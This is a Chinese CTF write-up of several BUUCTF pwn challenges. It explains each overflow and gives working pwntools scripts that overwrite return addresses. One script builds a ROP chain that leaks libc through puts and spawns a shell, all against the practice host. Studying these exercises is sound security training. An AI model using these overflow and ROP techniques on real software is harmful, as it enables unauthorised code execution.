buuctf pwn wp---part1
pwn难啊
1、test_your_nc
测试你nc,不用说,连上就有。
2、rip
ida中已经包含了system函数:


溢出,覆盖rip为fun函数,peda计算偏移为23:
from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
p = remote('node3.buuoj.cn',27146)
#p = process('./pwn1')
flag_addr = 0x40118A
payload = 0xf*'a' +'a'*8 + p64(flag_addr)
#print p.recv()
p.sendline(payload)
p.interactive()
3、warmup_csaw_2016
ida中,可以看到,存在溢出



使用peda计算偏移为72

from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
p = remote('node3.buuoj.cn',29050)
#p = process('./warmup_csaw_2016')
catflag_addr = 0x40060d
payload = 'A'*72 + p64(catflag_addr)
#print p.recv()
p.sendline(payload)
p.interactive()
exp
4、pwn1_sctf_2016
先check一下文件

文件开启了NX。使用ida查看:

程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”
在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。
输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’
from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
p = remote('node3.buuoj.cn',29641)
#p = process('./pwn1_sctf_2016')
#p = remote('xxxxx',xxxx)
catflag_addr = 0x8048f0d
payload = 21*'I' +'A'+ p32(catflag_addr)
#print p.recvuntil('yourself:')
p.sendline(payload)
p.interactive()
exp
5、ciscn_2019_c_1
先check一下,开启了Nx和Relro

ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP和LibcSearcher库查找libc

在encrypt()函数中发现gets函数,这个是一个溢出点

可以通过溢出puts函数,泄露出puts函数的地址,找到libc,计算出system和'/bin/sh'的地址,然后执行system(‘/bin/sh’)
注意encryt()函数会修改我们的payload,所以第一位用'\0'避开。
偏移为:0x50+8
1 #!python
2 #coding:utf-8
3
4 from pwn import *
5 from LibcSearcher import *
6
7 context.log_level = 'debug'
8 context.arch = 'amd64'
9
10 elf = ELF('./ciscn_2019_c_1')
11 puts_got = elf.got['puts']
12 puts_plt = elf.plt['puts']
13 main_addr = elf.sym['main']
14 ret = 0x4006b9
15 pop_rdi = 0x400c83
16 sh = 0
17 lib = 0
18
19
20 def main(ip,port,debug):
21 global sh
22 global lib
23 if debug == 1:
24 sh = process('./ciscn_2019_c_1')
25 else:
26 sh = remote(ip,port)
27
28 sh.sendlineafter('choice!\n','1')
29 payload = '\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
30 sh.sendlineafter('encrypted\n',payload)
31 sh.recvline()
32 sh.recvline()
33 puts = u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
34 libc = LibcSearcher('puts',puts)
35 libcbase = puts - libc.dump('puts')
36 binsh = libcbase + libc.dump('str_bin_sh')
37 sys_addr = libcbase + libc.dump('system')
38 sh.sendlineafter('choice!\n','1')
39 payload2 = '\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
40 sh.sendlineafter('encrypted\n',payload2)
41 sh.interactive()
42
43 if __name__ == '__main__':
44
45 main('node3.buuoj.cn',27020,0)
exp
6、ciscn_2019_n_1
先check一下,开启了NX和RELRO

查看字符串,能看到,或许是和flag相关

可以看到危险函数gets,存在溢出,可以通过v1覆盖v2的值从而执行system函数获取flag


通过跟随。可以知道11.28125地址为:0x41348000,偏移为:0x2c

from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
p = remote('node3.buuoj.cn',26929)
#p = ('./ciscn_2019_n_1')
v2_addr = 0x41348000
payload = 0x2c*'a' + p64(v2_addr)
print p.recv()
p.sendline(payload)
p.interactive()
exp
7、ciscn_2019_en_2
同上5
待续。。。。
buuctf pwn wp---part1的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- buuctf misc wp 01
buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...
- buuctf misc wp 02
buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- BUUCTF 部分wp
目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...
- [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap
[V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...
- [BUUCTF]PWN——babyfengshui_33c3_2016
babyfengshui_33c3_2016 附件 步骤: 例行检查,32位程序,开启了cannary和nx 本地运行一下看看大概的情况,熟悉的堆的菜单布局 32位ida载入,看main函数 add ...
- [BUUCTF]PWN——roarctf_2019_easy_pwn(详解)
roarctf_2019_easy_pwn 附件 步骤: 例行检查,64位程序,保护全开 试运行一下程序,看看大概的情况,经典的堆块的菜单 64位ida载入,改了一下各个选项的函数名,方便看程序(按N ...
- [BUUCTF]PWN——[ZJCTF 2019]EasyHeap
[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...
随机推荐
- 2018-1-6-IDEA快速代码生成
2018-1-6-IDEA快速代码生成 Java 自动生成 Intellij IDEA 利用IDEA编辑器的Live Templates可以实现自定义方法.属性.注释等,下面是我自己的常用模板. 属性 ...
- 【Notes】现代图形学入门_02
跟着闫令琪老师的课程学习,总结自己学习到的知识点 课程网址GAMES101 B站课程地址GAMES101 课程资料百度网盘[提取码:0000] 光栅化 着色(Shading) 在图形学中,着色的定义可 ...
- 双重检验锁模式为什么要使用volatile?
并发编程情况下有三个要点:操作的原子性.可见性.有序性. volatile保证了可见性和有序性,但是并不能保证原子性. 首先看一下DCL(双重检验锁)的实现: public class Singlet ...
- .Net -- NLog日志框架配置与使用
NLog是适用于各种.NET平台(包括.NET标准)的灵活,免费的日志记录平台,NLog可将日志写入多个目标,比如Database.File.Console.Mail.下面介绍下NLog的基本使用方法 ...
- WPF窗口和用户控件事件相互触发
问题1: WPF项目里有一个窗口和一个用户控件,窗口和用户控件里都有一个Button,点击窗口里的Button如何触发用户控件里Button的Click事件 解答: //窗口代码 public par ...
- 二叉树、平衡二叉树、红黑树、B树、B+树与B*树
转: 二叉树.平衡二叉树.红黑树.B树.B+树与B*树 一.二叉树 1️⃣二叉查找树的特点就是左子树的节点值比父亲节点小,而右子树的节点值比父亲节点大,如图: 基于二叉查找树的这种特点,在查找某个节点 ...
- 剑指 Offer 56 - I. 数组中数字出现的次数 + 分组异或
剑指 Offer 56 - I. 数组中数字出现的次数 Offer_56_1 题目描述 解题思路 java代码 /** * 方法一:数位方法 */ class Offer_56_1_2 { publi ...
- 【转载】UML类图中箭头和线条的含义和用法
文章转载自 http://blog.csdn.net/hewei0241/article/details/7674450 https://blog.csdn.net/iamherego/article ...
- golang操作redis/go-redis库
目录 Redis介绍 Redis支持的数据结构 Redis应用场景 准备Redis环境 go-redis库 安装 连接 普通连接 V8新版本相关 连接Redis哨兵模式 连接Redis集群 基本使用 ...
- Elasticsearch 为了搜索
前言 Elasticsearch 是一个开源的搜索引擎,建立在一个全文搜索引擎库 Apache Lucene 基础之上. Lucene 可以说是当下最先进.高性能.全功能的搜索引擎库--无论是开源还是 ...